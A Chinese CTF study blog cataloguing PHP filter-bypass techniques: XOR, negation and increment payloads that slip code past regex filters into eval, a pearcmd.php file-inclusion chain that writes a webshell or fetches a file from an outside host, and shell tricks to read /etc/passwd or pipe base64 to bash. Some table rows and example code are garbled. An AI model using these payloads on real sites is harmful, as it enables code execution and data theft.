phpbypass

本篇 Blog 的内容更像是一页目录,主要记录在做题过程中所遇到的关于 phpbypass 类型的题目

以及对此类型题目所以需要的知识点进行总结,分类,可点击 相关题目中的链接以查看题目的具体解答过程.

0x01 escapeshellarg()

函数作用

# 官方解释
/*
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含 exec(), system() 执行运算符 。 
example:
*/
$s = 'hello_world';
var_dump(escapeshellarg($s));
//   string(13) "'hello_world'" 

$s = "hello'world";
var_dump(escapeshellarg($s));
//   string(16) "'hello'\''world'" 

利用

配合escapeshellcmd

参考链接

https://paper.seebug.org/164/#_2

ASCII绕过

根据官方介绍

When escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the problem:

<?php
setlocale(LC_CTYPE, "en_US.UTF-8");
?>

简单理解,

escapeshellarg函数会忽略ascll大于127的字符.

# example:
<?php
    $cmd = $_GET['cmd'];
    echo $cmd;
    echo "<br/>";
    if (!preg_match('/flag/i',$cmd))
    {
        $cmd = escapeshellarg($cmd);
    	echo $cmd;
    }
} else {
    highlight_file(__FILE__);
}
?>
    
    
/*
this_is_final_fl�ag_e2a457126032b42d.php
'this_is_final_flag_e2a457126032b42d.php'

可以看到,使用escapeshellarg后,fl�ag变为了flag.这里便绕过了正则匹配.

例题

2021DASCTF 7月赛

参考链接

https://www.php.net/manual/zh/function.escapeshellarg.php

0x02 preg_match

一绕过下面代码为例:

if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);

取反绕过

正则绕过在ctf比赛中还是比较常见.绕过手法也比较多,最常见的是使用 取反在urlencode绕过

<?php
echo urlencode(~"phpinfo");

?getflag=(~urlencode('phpinfo'))();

异或绕过

原理: 各种特殊字符的异或构造出字母和数字

str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"

for i in range(0, len(str)):
    for j in range(0, len(str)):
        a = ord(str[i])^ord(str[j])
        print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
#  过滤无效数据 得到以下结果

~ ^ ! is _
~ ^ @ is >
~ ^ # is ]
~ ^ $ is Z
~ ^ % is [
~ ^ ^ is  
~ ^ & is X
~ ^ * is T
~ ^ ( is V
~ ^ ) is W
~ ^ _ is !
~ ^ + is U
~ ^ < is B
~ ^ > is @
~ ^ ? is A
~ ^ , is R
~ ^ . is P
~ ^ ; is E
~ ^ : is D
~ ^ - is S
~ ^ [ is %
~ ^ ] is #
~ ^ \ is "
~ ^ / is Q
! ^ ~ is _
! ^ @ is a
! ^ _ is ~
! ^ [ is z
! ^ ] is |
! ^ { is Z
! ^ } is \
! ^ \ is }
@ ^ ~ is >
@ ^ ! is a
@ ^ # is c
@ ^ $ is d
@ ^ % is e
@ ^ & is f
@ ^ * is j
@ ^ ( is h
@ ^ ) is i
@ ^ + is k
@ ^ < is |
@ ^ > is ~
@ ^ , is l
@ ^ . is n
@ ^ ; is {
@ ^ : is z
@ ^ - is m
@ ^ { is ;
@ ^ } is =
@ ^ / is o
# ^ ~ is ]
# ^ @ is c
# ^ ^ is }
# ^ _ is |
# ^ [ is x
# ^ ] is ~
# ^ { is X
# ^ } is ^
$ ^ ~ is Z
$ ^ @ is d
$ ^ ^ is z
$ ^ _ is {
$ ^ ] is y
$ ^ { is _
$ ^ } is Y
$ ^ \ is x
% ^ ~ is [
% ^ @ is e
% ^ ^ is {
% ^ _ is z
% ^ [ is ~
% ^ ] is x
% ^ { is ^
% ^ } is X
% ^ \ is y
^ ^ # is }
^ ^ $ is z
^ ^ % is {
^ ^ & is x
^ ^ * is t
^ ^ ( is v
^ ^ ) is w
^ ^ + is u
^ ^ < is b
^ ^ > is `
^ ^ ? is a
^ ^ , is r
^ ^ . is p
^ ^ ; is e
^ ^ : is d
^ ^ - is s
^ ^ { is %
^ ^ } is #
^ ^ / is q
& ^ ~ is X
& ^ @ is f
& ^ ^ is x
& ^ _ is y
& ^ [ is }
& ^ ] is {
& ^ { is ]
& ^ } is [
& ^ \ is z
* ^ ~ is T
* ^ @ is j
* ^ ^ is t
* ^ _ is u
* ^ [ is q
* ^ ] is w
* ^ { is Q
* ^ } is W
* ^ \ is v
( ^ ~ is V
( ^ @ is h
( ^ ^ is v
( ^ _ is w
( ^ [ is s
( ^ ] is u
( ^ { is S
( ^ } is U
( ^ \ is t
) ^ ~ is W
) ^ @ is i
) ^ ^ is w
) ^ _ is v
) ^ [ is r
) ^ ] is t
) ^ { is R
) ^ } is T
) ^ \ is u
_ ^ ~ is !
_ ^ ! is ~
_ ^ # is |
_ ^ $ is {
_ ^ % is z
_ ^ & is y
_ ^ * is u
_ ^ ( is w
_ ^ ) is v
_ ^ + is t
_ ^ < is c
_ ^ > is a
_ ^ ? is `
_ ^ , is s
_ ^ . is q
_ ^ ; is d
_ ^ : is e
_ ^ - is r
_ ^ { is $
_ ^ } is "
_ ^ / is p
+ ^ ~ is U
+ ^ @ is k
+ ^ ^ is u
+ ^ _ is t
+ ^ [ is p
+ ^ ] is v
+ ^ { is P
+ ^ } is V
+ ^ \ is w
< ^ ~ is B
< ^ @ is |
< ^ ^ is b
< ^ _ is c
< ^ [ is g
< ^ ] is a
< ^ { is G
< ^ } is A
< ^ \ is `
> ^ ~ is @
> ^ @ is ~
 ^ ^ is `
> ^ _ is a
> ^ [ is e
> ^ ] is c
> ^ { is E
> ^ } is C
> ^ \ is b
? ^ ~ is A
? ^ ^ is a
? ^ _ is `
? ^ [ is d
? ^ ] is b
? ^ { is D
? ^ } is B
? ^ \ is c
, ^ ~ is R
, ^ @ is l
, ^ ^ is r
, ^ _ is s
, ^ [ is w
, ^ ] is q
, ^ { is W
, ^ } is Q
, ^ \ is p
. ^ ~ is P
. ^ @ is n
. ^ ^ is p
. ^ _ is q
. ^ [ is u
. ^ ] is s
. ^ { is U
. ^ } is S
. ^ \ is r
; ^ ~ is E
; ^ @ is {
; ^ ^ is e
; ^ _ is d
; ^ [ is `
; ^ ] is f
; ^ { is @
; ^ } is F
; ^ \ is g
: ^ ~ is D
 ^ @ is z
: ^ ^ is d
: ^ _ is e
: ^ [ is a
: ^ ] is g
: ^ { is A
: ^ } is G
: ^ \ is f
- ^ ~ is S
- ^ @ is m
- ^ ^ is s
- ^ _ is r
- ^ [ is v
- ^ ] is p
- ^ { is V
- ^ } is P
- ^ \ is q
[ ^ ~ is %
[ ^ ! is z
    # is x
[ ^ % is ~
[ ^ & is }
[ ^ * is q
[ ^ ( is s
[ ^ ) is r
[ ^ + is p
[ ^ < is g
[ ^ > is e
[ ^ ? is d
[ ^ , is w
[ ^ . is u
[ ^ ; is `
[ ^ : is a
[ ^ - is v
[ ^ } is &
[ ^ / is t
] ^ ~ is #
] ^ ! is |
] ^ # is ~
] ^ $ is y
] ^ % is x
] ^ & is {
] ^ * is w
] ^ ( is u
] ^ ) is t
] ^ + is v
] ^ < is a
] ^ > is c
] ^ ? is b
] ^ , is q
] ^ . is s
] ^ ; is f
] ^ : is g
] ^ - is p
] ^ { is &
] ^ / is r
{ ^ ! is Z
{ ^ @ is ;
{ ^ # is X
{ ^ $ is _
{ ^ % is ^
{ ^ ^ is %
{ ^ & is ]
{ ^ * is Q
{ ^ ( is S
{ ^ ) is R
{ ^ _ is $
{ ^ + is P
{ ^ < is G
{ ^ > is E
{ ^ ? is D
{ ^ , is W
{ ^ . is U
{ ^ ; is @
{ ^ : is A
{ ^ - is V
{ ^ ] is &
{ ^ \ is '
{ ^ / is T
} ^ ! is \
} ^ @ is =
} ^ # is ^
} ^ $ is Y
} ^ % is X
} ^ ^ is #
} ^ & is [
} ^ * is W
} ^ ( is U
} ^ ) is T
} ^ _ is "
} ^ + is V
} ^ < is A
} ^ > is C
} ^ ? is B
} ^ , is Q
} ^ . is S
} ^ ; is F
} ^ : is G
} ^ - is P
} ^ [ is &
} ^ \ is !
} ^ / is R
\ ^ ~ is "
\ ^ ! is }
\ ^ $ is x
\ ^ % is y
\ ^ & is z
\ ^ * is v
\ ^ ( is t
\ ^ ) is u
\ ^ + is w
\ ^ < is `
\ ^ > is b
\ ^ ? is c
\ ^ , is p
\ ^ . is r
\ ^ ; is g
\ ^ : is f
\ ^ - is q
\ ^ { is '
\ ^ } is !
\ ^ / is s
/ ^ ~ is Q
/ ^ @ is o
/ ^ ^ is q
/ ^ _ is p
/ ^ [ is t
/ ^ ] is r
/ ^ { is T
/ ^ } is R
/ ^ \ is s

     
# 有时候存在符号也过滤的情况,考虑使用不可见字符的异或构造
%81^%FF=>~     %82^%FF=>}       %83^%FF=>|
%84^%FF=>{     %85^%FF=>z       %86^%FF=>y
%87^%FF=>x     %88^%FF=>w       %89^%FF=>v
%8A^%FF=>u     %8B^%FF=>t       %8C^%FF=>s
%8D^%FF=>r     %8E^%FF=>q       %8F^%FF=>p
%90^%FF=>o     %91^%FF=>n       %92^%FF=>m
%93^%FF=>l     %94^%FF=>k       %95^%FF=>j
%96^%FF=>i     %97^%FF=>h       %98^%FF=>g
%99^%FF=>f     %9A^%FF=>e       %9B^%FF=>d
%9C^%FF=>c     %9D^%FF=>b       %9E^%FF=>a
%9F^%FF=>`     %A0^%FF=>_       %A1^%FF=>^
%A2^%FF=>]     %A3^%FF=>       %A4^%FF=>[
%A5^%FF=>Z     %A6^%FF=>Y       %A7^%FF=>X
%A8^%FF=>W     %A9^%FF=>V       %AA^%FF=>U
%AB^%FF=>T     %AC^%FF=>S       %AD^%FF=>R    
%AE^%FF=>Q     %AF^%FF=>P       %B0^%FF=>O
%B1^%FF=>N     %B2^%FF=>M       %B3^%FF=>L
%B4^%FF=>K     %B5^%FF=>J       %B6^%FF=>I
%B7^%FF=>H     %B8^%FF=>G       %B9^%FF=>F
%BA^%FF=>E     %BB^%FF=>D       %BC^%FF=>C
%BD^%FF=>B     %BE^%FF=>A       %BF^%FF=>@
%C0^%FF=>?
# 常用构造
phpinfo
'_@_)@;@'^'/(/@.]/'

_GET
ImB7e3siXiI/PD4vIg==  // base解密一下,hexo 会对三个{ 有一个解析

_POST
"!+/(("^"~{`{|"


${_GET}{%ff}()
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

递增递减运算符绕过

$ctfshow = $_POST['ctf_show'];
   if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
       if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
           eval($ctfshow);

这里简述一下绕过方式

从过滤字符中找到: _ { } [ ] 1 2 3 0 C + -

构造payload:

ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%7B0%7D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B(%24%24_%7B1%7D)(%24%24_%7B2%7D)%3B
// ctf_show = $_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});

配合 get传参数

/?1=system&2=cat /flag

完成绕过,执行eval

payload 解析

遇到 _没有被过滤,可以 思考将_定义为变量名.在结合C,可以组合为两种变量名.

其次,

echo C/C;
# 返回结果为   NAN

以后可以通过C/C配合+构建新字符.

$_=a

另外,这样赋值,php会给出警告并将a当作'a'赋值给_

最后便是一个利用$$进行变量覆盖

$a = '_GET';
$$a{1} == $$a[1] == $$a['1'] == $_GET['1']

参考文章

https://www.cnblogs.com/v01cano/p/11736722.html

https://blog.csdn.net/mochu7777777/article/details/104631142

https://www.secpulse.com/archives/150314.html

0x03 原生类利用

例题

Post not found: 极客大挑战2020Greatphp

参考链接

https://whoamianony.top/2021/03/10/Web%E5%AE%89%E5%85%A8/PHP%20%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8%E5%B0%8F%E7%BB%93/

https://troyess.com/2021/03/29/PHP%E5%8E%9F%E7%94%9F%E7%B1%BB%E7%9A%84%E5%88%A9%E7%94%A8%E6%80%BB%E7%BB%93/

0x04 代码执行与系统命令函数

这里对 php代码执行函数做一个总结,可以在phpinfo中观察disablefunction是否有漏网之鱼

# 代码执行
eval(); # 其实eval并不是 php 里面的一个函数,他只是一种语法结构
assert;
preg_replace /e 模式  # 5.5 版本之上已经剔除/e修饰符
反引号 `;
call_user_function();
create_function();
array_map();




# 系统命令执行
passthru; # 自带输出
system;
shell_exec(); # 需要输出命令执行执行结果,不支持空格
exec(); # 需要输出命令执行结果
popen; # 没有回显,但是能执行 os命令
proc_open;

... 持续完善中

0x05 变量覆盖

$$ 双刀ner变量覆盖

$a = '_GET';
$$a{1} == $$a[1] == $$a['1'] == $_GET['1']

extract 变量覆盖

0x06 intval()

当字符串转换为数字时,字符串开头的数字、加号或减号以外的任何内容都应返回 0。然而,字符串开头的(某些)空格会被忽略:

echo intval("     3");  // 3
echo strlen("     3");	// 6
echo intval("
3");  // 3

0x07 Session 包含Getshell

参考链接

https://www.anquanke.com/post/id/201177

0X008 Simple Syntax

https://www.php.net/manual/en/language.types.string.php#language.types.string.parsing.simple

0x009 php中类,方法名,函数名不区分大小写变量,常量区分大小写

0x010 文件包含

pearcmd.php

最近打了两场ctf的比赛,每场比赛里都考了这个考点.p神的文章记录的很详细了,我这里就只简单总结和复现下.

Docker PHP裸文件本地包含综述

概念

简单描述:在php官方的任意版本php Docker镜像中都默认安装了pcel/pear,安装路径在/usr/local/lib/php/.pear是一个包管理器,这就意味着使用pear能够进行下载功能.其实跟踪pear,不难发现它是个sh脚本,其本质是使用php加载了一个名叫pearcmd.php的脚本.

#!/bin/sh

# first find which PHP binary to use
if test "x$PHP_PEAR_PHP_BIN" != "x"; then
  PHP="$PHP_PEAR_PHP_BIN"
else
  if test "/usr/local/bin/php" = '@'php_bin'@'; then
    PHP=php
  else
    PHP="/usr/local/bin/php"
  fi
fi

# then look for the right pear include dir
if test "x$PHP_PEAR_INSTALL_DIR" != "x"; then
  INCDIR=$PHP_PEAR_INSTALL_DIR
  INCARG="-d include_path=$PHP_PEAR_INSTALL_DIR"
else
  if test "/usr/local/lib/php" = '@'php_dir'@'; then
    INCDIR=`dirname $0`
    INCARG=""
  else
    INCDIR="/usr/local/lib/php"
    INCARG="-d include_path=/usr/local/lib/php"
  fi
fi

exec $PHP -C -q $INCARG -d date.timezone=UTC -d output_buffering=1 -d variables_order=EGPCS -d open_basedir="" -d safe_mode=0 -d register_argc_argv="On" -d auto_prepend_file="" -d auto_append_file="" $INCDIR/pearcmd.php "$@"

通过文件包含加载pearcmd.php,传递命令选项以及参数,从而实现文件下载或者文件写入功能.
不过传递命令选项以及参数需要一定的条件,比如php.ini中没设置open_basedir以及需要开启register_argc_argv选项,这个选项的作用类似于可以将argc以及argv作为命令行参数传递给文件.而pearcmd.php中的$argv就可以通过$_SERVER['argv']进行传递.可以参考pearcmd.php中接受$argv的代码逻辑

public static function readPHPArgv()
    {
        global $argv;
        if (!is_array($argv)) {
            if (!@is_array($_SERVER['argv'])) {
                if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
                    $msg = "Could not read cmd args (register_argc_argv=Off?)";
                    return PEAR::raiseError("Console_Getopt: " . $msg);
                }
                return $GLOBALS['HTTP_SERVER_VARS']['argv'];
            }
            return $_SERVER['argv'];
        }
        return $argv;
    }

利用

现存在以下内容的index.php:

<?php
    include $_GET['a'];

假设我们现在能够知道得到当前php的phpinfo信息.查看一下open_basedir以及register_argc_argv的配置.(如果能够确保php的环境使用了php官方的docker镜像,那这一步可以省略)

20211121182218

20211121182321

接下来就是利用pearcmd.php,这里以利用pearcmd.php生成文件为例.

20211121182956

这里只截取了部分pearcmd.php的命令,详细内容师傅们可以本地测试去了解.这里使用config-create选项进行文件写入

php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell1.php

20211121183416
可以看到已经成功写入文件到/tmp目录下.

如果机器还可以出网,还可以利用install -R选项下载vps的文件.使用python3在本地开启一个服务,监听8888端口.

20211121184144

使用如下命令下载主机192.168.3.183下的index.php到本地的/tmp目录下

php pearcmd.php install -R /tmp http://192.168.3.183:8888/index.php

20211121185101
可以看到成功下载文件到/tmp/tmp/pear/download/index.php

演示了pearcmd.php的用法,接下来就是利用include包含pearcmd.php实现文件写入和下载了.

文件写入:

http://0.0.0.0:49153/?a=/usr/local/lib/php/pearcmd.php&+config-create+/&%3C?php%20phpinfo();+/tmp/shell2.php

20211121185809

20211122000250

可以看到成功写入文件到/tmp/shell2.php

文件下载:

http://0.0.0.0:49153/?a=/usr/local/lib/php/pearcmd.php&+install+-R+/tmp+http://192.168.3.183:8888/index.php

20211121235658

20211121235728
可以看到成功下载文件到/tmp/tmp/pear/download/index.php

参考

registerargcargv与include限制php任意文件下载的小结

p神 关于pearcmd.php的巧用

feng师傅 利用pearcmd.php从LFI到getshell

0x011 shell命令的一些绕过

c\at /etc/passwd
c''at /etc/passwd
c""at /etc/passwd
c$1at /etc/passwd
c$@at /etc/passwd
${IFS} # 绕空格
echo "Y2F0IGZsYWc="|base64 -d|bash  # cat 发

持续完善中…